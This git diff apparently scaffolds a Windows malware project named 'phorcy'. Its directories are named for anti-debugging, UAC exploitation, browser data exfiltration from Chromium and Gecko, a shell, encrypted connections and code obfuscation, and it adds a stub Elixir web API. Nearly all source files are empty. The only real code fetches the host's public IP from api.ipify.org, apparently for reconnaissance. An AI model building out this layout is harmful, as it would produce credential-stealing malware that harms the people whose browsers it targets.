b/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/exploitation.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/exploitation.h @@ -0,0 +1 @@ +#pragma once diff --git a/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/user_account_control.cpp b/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/user_account_control.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/conf.cpp b/main/port/payload/phorcy/phorcy-master/conf.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/conn.cpp b/main/port/payload/phorcy/phorcy-master/conn.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/connection/cryptography/main.dll b/main/port/payload/phorcy/phorcy-master/connection/cryptography/main.dll new file mode 100644 index 0000000..0a57480 Binary files /dev/null and b/main/port/payload/phorcy/phorcy-master/connection/cryptography/main.dll differ diff --git a/main/port/payload/phorcy/phorcy-master/connection/cryptography/threefish512.lib b/main/port/payload/phorcy/phorcy-master/connection/cryptography/threefish512.lib new file mode 100644 index 0000000..48b6ce1 Binary files /dev/null and b/main/port/payload/phorcy/phorcy-master/connection/cryptography/threefish512.lib differ diff --git a/main/port/payload/phorcy/phorcy-master/include.h b/main/port/payload/phorcy/phorcy-master/include.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/include.h @@ -0,0 +1 @@ +#pragma once diff --git a/main/port/payload/phorcy/phorcy-master/main.cpp b/main/port/payload/phorcy/phorcy-master/main.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj new file mode 100644 index 0000000..cd8f98f --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj @@ -0,0 +1,153 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 17.0 + Win32Proj + {f9dfc7ae-c751-420a-ad18-c4d059c1f0b2} + phorcy-master + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + \ No newline at end of file diff --git a/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.filters b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.filters new file mode 100644 index 0000000..d7eee2b --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.filters @@ -0,0 +1,72 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + + + + + \ No newline at end of file diff --git a/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.user b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.user new file mode 100644 index 0000000..966b4ff --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/phorcy-master.vcxproj.user @@ -0,0 +1,6 @@ + + + + true + + \ No newline at end of file diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/browser.cpp b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/browser.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/browser.h b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/browser.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/browser.h @@ -0,0 +1 @@ +#pragma once diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/chromium.cpp b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/chromium.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/gecko.cpp b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/gecko.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/shell/shell.cpp b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/shell/shell.cpp new file mode 100644 index 0000000..e69de29 diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/shell/shell.h b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/shell/shell.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/windows/exfil/browser/shell/shell.h @@ -0,0 +1 @@ +#pragma once diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/ip.cpp b/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/ip.cpp new file mode 100644 index 0000000..a49a864 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/ip.cpp @@ -0,0 +1,105 @@ +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +namespace Utils { + + DWORD GetIPAddr(std::string& ip_addr) { + // 1. Initialize Winsock + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + return 0; + } + + // 2. Resolve the server address + struct addrinfo* result = NULL, hints; + const char* hostname = "api.ipify.org"; + const char* path = "/"; + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + if (getaddrinfo(hostname, "80", &hints, &result) != 0) { + WSACleanup(); + return 0; + } + + // 3. Connect to the server + SOCKET ConnectSocket = INVALID_SOCKET; + struct addrinfo* ptr = NULL; + + for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 0; + } + + if (connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen) == SOCKET_ERROR) { + closesocket(ConnectSocket); + ConnectSocket = INVALID_SOCKET; + continue; + } + break; + } + + freeaddrinfo(result); + + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 0; + } + + // 4. Send HTTP GET request + std::string request = "GET " + std::string(path) + " HTTP/1.1\r\n" + "Host: " + std::string(hostname) + "\r\n" + "User-Agent: CppWinsockClient/1.0\r\n" + "Connection: close\r\n\r\n"; + + if (send(ConnectSocket, request.c_str(), (int)request.length(), 0) == SOCKET_ERROR) { + closesocket(ConnectSocket); + WSACleanup(); + return 0; + } + + // 5. Receive the response + char recvbuf[4096]; + int iResult; + std::string responseData; + + do { + iResult = recv(ConnectSocket, recvbuf, sizeof(recvbuf) - 1, 0); + if (iResult > 0) { + recvbuf[iResult] = '\0'; + responseData += recvbuf; + } + } while (iResult > 0); + + // 6. Extract and print ONLY the IP (Body) + // The body is separated from headers by a double newline "\r\n\r\n" + size_t headerEnd = responseData.find("\r\n\r\n"); + if (headerEnd != std::string::npos) { + std::string ip = responseData.substr(headerEnd + 4); + ip_addr = ip; + //std::cout << ip << std::endl; + } + else { + //std::cerr << "Invalid response format" << std::endl; + closesocket(ConnectSocket); + WSACleanup(); + return 0; + } + + // 7. Cleanup + closesocket(ConnectSocket); + WSACleanup(); + return 1; + } + + +} \ No newline at end of file diff --git a/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/utils.h b/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/utils.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/windows/exfil/utils/utils.h @@ -0,0 +1 @@ +#pragma once diff --git a/obf/cpp/main.py b/obf/cpp/main.py new file mode 100644 index 0000000..e69de29 diff --git a/web-api/phorcy_api_ex/.formatter.exs b/web-api/phorcy_api_ex/.formatter.exs new file mode 100644 index 0000000..d2cda26 --- /dev/null +++ b/web-api/phorcy_api_ex/.formatter.exs @@ -0,0 +1,4 @@ +# Used by "mix format" +[ + inputs: ["{mix,.formatter}.exs", "{config,lib,test}/**/*.{ex,exs}"] +] diff --git a/web-api/phorcy_api_ex/.gitignore b/web-api/phorcy_api_ex/.gitignore new file mode 100644 index 0000000..8ba5d98 --- /dev/null +++ b/web-api/phorcy_api_ex/.gitignore @@ -0,0 +1,24 @@ +# The directory Mix will write compiled artifacts to. +/_build/ + +# If you run "mix test --cover", coverage assets end up here. +/cover/ + +# The directory Mix downloads your dependencies sources to. +/deps/ + +# Where third-party dependencies like ExDoc output generated docs. +/doc/ + +# Temporary files, for example, from tests. +/tmp/ + +# If the VM crashes, it generates a dump, let's ignore it too. +erl_crash.dump + +# Also ignore archive artifacts (built via "mix archive.build"). +*.ez + +# Ignore package tarball (built via "mix hex.build"). +phorcy_api_ex-*.tar + diff --git a/web-api/phorcy_api_ex/README.md b/web-api/phorcy_api_ex/README.md new file mode 100644 index 0000000..2fe3b3a --- /dev/null +++ b/web-api/phorcy_api_ex/README.md @@ -0,0 +1,21 @@ +# PhorcyApiEx + +**TODO: Add description** + +## Installation + +If [available in Hex](https://hex.pm/docs/publish), the package can be installed +by adding `phorcy_api_ex` to your list of dependencies in `mix.exs`: + +```elixir +def deps do + [ + {:phorcy_api_ex, "~> 0.1.0"} + ] +end +``` + +Documentation can be generated with [ExDoc](https://github.com/elixir-lang/ex_doc) +and published on [HexDocs](https://hexdocs.pm). Once published, the docs can +be found at . + diff --git a/web-api/phorcy_api_ex/lib/phorcy_api_ex.ex b/web-api/phorcy_api_ex/lib/phorcy_api_ex.ex new file mode 100644 index 0000000..9ebf47c --- /dev/null +++ b/web-api/phorcy_api_ex/lib/phorcy_api_ex.ex @@ -0,0 +1,18 @@ +defmodule PhorcyApiEx do + @moduledoc """ + Documentation for `PhorcyApiEx`. + """ + + @doc """ + Hello world. + + ## Examples + + iex> PhorcyApiEx.hello() + :world + + """ + def hello do + :world + end +end diff --git a/web-api/phorcy_api_ex/mix.exs b/web-api/phorcy_api_ex/mix.exs new file mode 100644 index 0000000..a63efb2 --- /dev/null +++ b/web-api/phorcy_api_ex/mix.exs @@ -0,0 +1,28 @@ +defmodule PhorcyApiEx.MixProject do + use Mix.Project + + def project do + [ + app: :phorcy_api_ex, + version: "0.1.0", + elixir: "~> 1.19", + start_permanent: Mix.env() == :prod, + deps: deps() + ] + end + + # Run "mix help compile.app" to learn about applications. + def application do + [ + extra_applications: [:logger] + ] + end + + # Run "mix help deps" to learn about dependencies. + defp deps do + [ + # {:dep_from_hexpm, "~> 0.3.0"}, + # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"} + ] + end +end diff --git a/web-api/phorcy_api_ex/test/phorcy_api_ex_test.exs b/web-api/phorcy_api_ex/test/phorcy_api_ex_test.exs new file mode 100644 index 0000000..a199b73 --- /dev/null +++ b/web-api/phorcy_api_ex/test/phorcy_api_ex_test.exs @@ -0,0 +1,8 @@ +defmodule PhorcyApiExTest do + use ExUnit.Case + doctest PhorcyApiEx + + test "greets the world" do + assert PhorcyApiEx.hello() == :world + end +end diff --git a/web-api/phorcy_api_ex/test/test_helper.exs b/web-api/phorcy_api_ex/test/test_helper.exs new file mode 100644 index 0000000..869559e --- /dev/null +++ b/web-api/phorcy_api_ex/test/test_helper.exs @@ -0,0 +1 @@ +ExUnit.start()